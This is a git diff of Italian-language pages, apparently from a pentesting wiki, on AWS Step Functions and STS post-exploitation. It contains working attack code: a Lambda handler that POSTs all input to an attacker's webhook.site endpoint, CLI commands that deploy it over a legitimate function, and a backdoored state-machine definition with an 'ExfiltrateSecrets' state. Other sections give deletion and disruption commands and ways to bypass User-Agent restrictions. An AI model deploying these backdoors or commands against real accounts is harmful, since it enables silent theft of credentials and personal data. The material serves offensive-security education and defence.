|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Aggiungi uno Stato Maligno alla Funzione di Passaggio
|
||||
|
||||
In alternativa, l'attaccante può iniettare uno **stato di esfiltrazione** all'inizio del flusso di lavoro aggiornando la definizione della Funzione di Passaggio.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
L'attaccante può anche essere più furtivo aggiornando la definizione dello stato a qualcosa del genere
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
dove la vittima non si accorgerà della differenza
|
||||
|
||||
---
|
||||
|
||||
### Configurazione della Vittima (Contesto per l'Exploit)
|
||||
|
||||
- Una Step Function (`LegitStateMachine`) viene utilizzata per elaborare input sensibili degli utenti.
|
||||
- Chiama una o più funzioni Lambda come `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Impatto Potenziale**:
|
||||
- Esfiltrazione silenziosa di dati sensibili, inclusi segreti, credenziali, chiavi API e PII.
|
||||
- Nessun errore o fallimento visibile nell'esecuzione del workflow.
|
||||
- Difficile da rilevare senza auditare il codice Lambda o le tracce di esecuzione.
|
||||
- Abilita una persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,183 @@
|
||||
# AWS - Step Functions Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Per maggiori informazioni su questo servizio AWS, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Questo permesso consente di **rivelare dati segreti all'interno di un'esecuzione**. Per farlo, è necessario impostare Inspection level su TRACE e il parametro revealSecrets su true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente state machines, le loro versioni e alias. Questo può interrompere workflow critici, causare perdita di dati e richiedere tempo significativo per recuperare e ripristinare le state machines interessate. Inoltre, permetterebbe all'attaccante di cancellare le tracce utilizzate, ostacolare le indagini forensi e potenzialmente paralizzare le operazioni rimuovendo processi di automazione essenziali e configurazioni di stato.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Eliminando una state machine elimini anche tutte le sue versioni e alias associati.
|
||||
> - Eliminando un alias di state machine non elimini le versioni della state machine che fanno riferimento a questo alias.
|
||||
> - Non è possibile eliminare una versione di state machine attualmente referenziata da uno o più alias.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
# Delete state machine version
|
||||
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Impatto potenziale**: Interruzione di flussi di lavoro critici, perdita di dati e tempi di inattività operativi.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Un attacker con questa autorizzazione potrebbe manipolare la configurazione di failure del Map Run e l'impostazione di parallelismo, potendo aumentare o diminuire il numero massimo di esecuzioni figlie del workflow consentite, incidendo direttamente sulle prestazioni del servizio. Inoltre, un attacker potrebbe manomettere la percentuale e il conteggio di failure tollerati, potendo ridurre questo valore a 0 in modo che ogni volta che un elemento fallisce, l'intero Map Run fallisca, influenzando direttamente l'esecuzione della state machine e potenzialmente interrompendo flussi di lavoro critici.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
- **Impatto potenziale**: Degrado delle prestazioni e interruzione di flussi di lavoro critici.
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Un attacker con questa permission potrebbe essere in grado di interrompere l'esecuzione di qualsiasi state machine, interrompendo i flussi di lavoro e i processi in corso. Ciò potrebbe portare a transazioni incomplete, operazioni aziendali sospese e potenziale corruzione dei dati.
|
||||
|
||||
> [!WARNING]
|
||||
> Questa azione non è supportata dalle **express state machines**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Impatto potenziale**: Interruzione dei flussi di lavoro in corso, downtime operativo e possibile corruzione dei dati.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
Un attaccante potrebbe aggiungere, modificare o rimuovere tags dalle risorse di Step Functions, compromettendo l'allocazione dei costi dell'organizzazione, il monitoraggio delle risorse e le politiche di controllo degli accessi basate sui tags.
|
||||
```bash
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Impatto potenziale**: Interruzione dell'allocazione dei costi, del tracciamento delle risorse e delle politiche di controllo degli accessi basate sui tag.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Un attacker che compromette un user o role con le seguenti autorizzazioni:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...possono condurre una **high-impact and stealthy post-exploitation attack** combinando Lambda backdooring con Step Function logic manipulation.
|
||||
|
||||
Questo scenario presuppone che la vittima utilizzi **AWS Step Functions to orchestrate workflows that process sensitive input**, come credentials, tokens, o PII.
|
||||
|
||||
Esempio di invocazione della vittima:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Se la Step Function è configurata per invocare una Lambda come `LegitBusinessLogic`, l'attaccante può procedere con **due varianti di attacco furtive**:
|
||||
|
||||
---
|
||||
|
||||
#### Aggiornata la funzione Lambda
|
||||
|
||||
L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (`LegitBusinessLogic`) per esfiltrare silenziosamente i dati di input.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
#### Aggiungi uno stato malevolo alla Step Function
|
||||
|
||||
In alternativa, l'attaccante può iniettare uno **exfiltration state** all'inizio del flusso di lavoro aggiornando la definizione della Step Function.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
L'attaccante può essere ancora più furtivo aggiornando la definizione dello stato in qualcosa del genere
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
dove la vittima non si accorgerà della differenza
|
||||
|
||||
---
|
||||
|
||||
### Configurazione della vittima (Contesto per l'exploit)
|
||||
|
||||
- Una Step Function (`LegitStateMachine`) viene usata per elaborare input utente sensibili.
|
||||
- Chiama una o più funzioni Lambda come `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Impatto potenziale**:
|
||||
- Esfiltrazione silenziosa di dati sensibili inclusi secrets, credenziali, API keys e PII.
|
||||
- Nessun errore visibile o fallimento nell'esecuzione del flusso di lavoro.
|
||||
- Difficile da rilevare senza audit del codice Lambda o le tracce di esecuzione.
|
||||
- Permette persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +1,23 @@
|
||||
# AWS - STS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Per maggiori informazioni:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### From IAM Creds to Console
|
||||
### Da IAM Creds alla Console
|
||||
|
||||
Se sei riuscito a ottenere alcune IAM credentials potresti essere interessato a **accedere alla web console** usando i seguenti strumenti.\
|
||||
Nota che l'user/role deve avere il permesso **`sts:GetFederationToken`**.
|
||||
Se sei riuscito a ottenere alcune credenziali IAM potresti essere interessato ad **accedere alla web console** usando i seguenti strumenti.\
|
||||
Nota che l'utente/ruolo deve avere il permesso **`sts:GetFederationToken`**.
|
||||
|
||||
#### Script personalizzato
|
||||
|
||||
Lo script seguente userà il profilo di default e una location AWS di default (non gov e non cn) per fornirti un signed URL che puoi usare per effettuare il login nella web console:
|
||||
Lo script seguente userà il profilo di default e una location AWS di default (non gov e non cn) per darti un URL firmato che puoi usare per accedere alla web console:
|
||||
```bash
|
||||
# Get federated creds (you must indicate a policy or they won't have any perms)
|
||||
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
||||
@@ -64,11 +64,11 @@ pip install aws-consoler
|
||||
aws_consoler [params...] #This will generate a link to login into the console
|
||||
```
|
||||
> [!WARNING]
|
||||
> Assicurati che l'utente IAM abbia il permesso `sts:GetFederationToken`, oppure fornisci un ruolo da assumere.
|
||||
> Assicurarsi che l'utente IAM abbia il permesso `sts:GetFederationToken`, oppure fornire un ruolo da assumere.
|
||||
|
||||
#### aws-vault
|
||||
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) è uno strumento per memorizzare e accedere in modo sicuro alle credenziali AWS in un ambiente di sviluppo.
|
||||
[**aws-vault**](https://github.com/99designs/aws-vault) è uno strumento per memorizzare e accedere in modo sicuro alle credentials AWS in un ambiente di sviluppo.
|
||||
```bash
|
||||
aws-vault list
|
||||
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
|
||||
@@ -77,9 +77,9 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
> [!NOTE]
|
||||
> Puoi anche usare **aws-vault** per ottenere una **sessione della console del browser**
|
||||
|
||||
### **Bypassare le restrizioni User-Agent in Python**
|
||||
### **Bypass delle restrizioni User-Agent da Python**
|
||||
|
||||
Se esiste una **restrizione nell'eseguire certe azioni in base al user agent** usato (come limitare l'uso della libreria python boto3 in base al user agent) è possibile usare la tecnica precedente per **collegarsi alla console web tramite un browser**, oppure si può direttamente **modificare il boto3 user-agent** facendo:
|
||||
Se esiste una **restrizione che limita l'esecuzione di certe azioni in base al User-Agent** utilizzato (come limitare l'uso della libreria python boto3 in base al User-Agent) è possibile usare la tecnica precedente per **connettersi alla web console tramite un browser**, oppure si può direttamente **modificare il boto3 User-Agent** facendo:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
@@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre
|
||||
```
|
||||
### **`sts:GetFederationToken`**
|
||||
|
||||
Con questa autorizzazione è possibile creare un'identità federata per l'utente che la esegue, limitata ai permessi che questo utente possiede.
|
||||
Con questo permesso è possibile creare un'identità federata per l'utente che lo richiede, limitata ai permessi che tale utente possiede.
|
||||
```bash
|
||||
aws sts get-federation-token --name <username>
|
||||
```
|
||||
Il token restituito da sts:GetFederationToken appartiene all'identità federata dell'utente chiamante, ma ha permessi limitati. Anche se l'utente dispone di diritti di amministratore, alcune azioni, come l'elenco degli utenti IAM o l'associazione di policy, non possono essere eseguite tramite il token federato.
|
||||
Il token restituito da sts:GetFederationToken appartiene all'identità federata dell'utente chiamante, ma con permessi limitati. Anche se l'utente dispone di diritti di amministratore, alcune azioni, come elencare gli utenti IAM o associare policy, non possono essere eseguite tramite il token federato.
|
||||
|
||||
Inoltre, questo metodo è più furtivo, poiché l'utente federato non compare nell'AWS Portal; può essere osservato solo attraverso i log di CloudTrail o strumenti di monitoraggio.
|
||||
Inoltre, questo metodo è più furtivo, poiché l'utente federato non appare nell'AWS Portal: può essere osservato solo tramite i log di CloudTrail o strumenti di monitoraggio.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user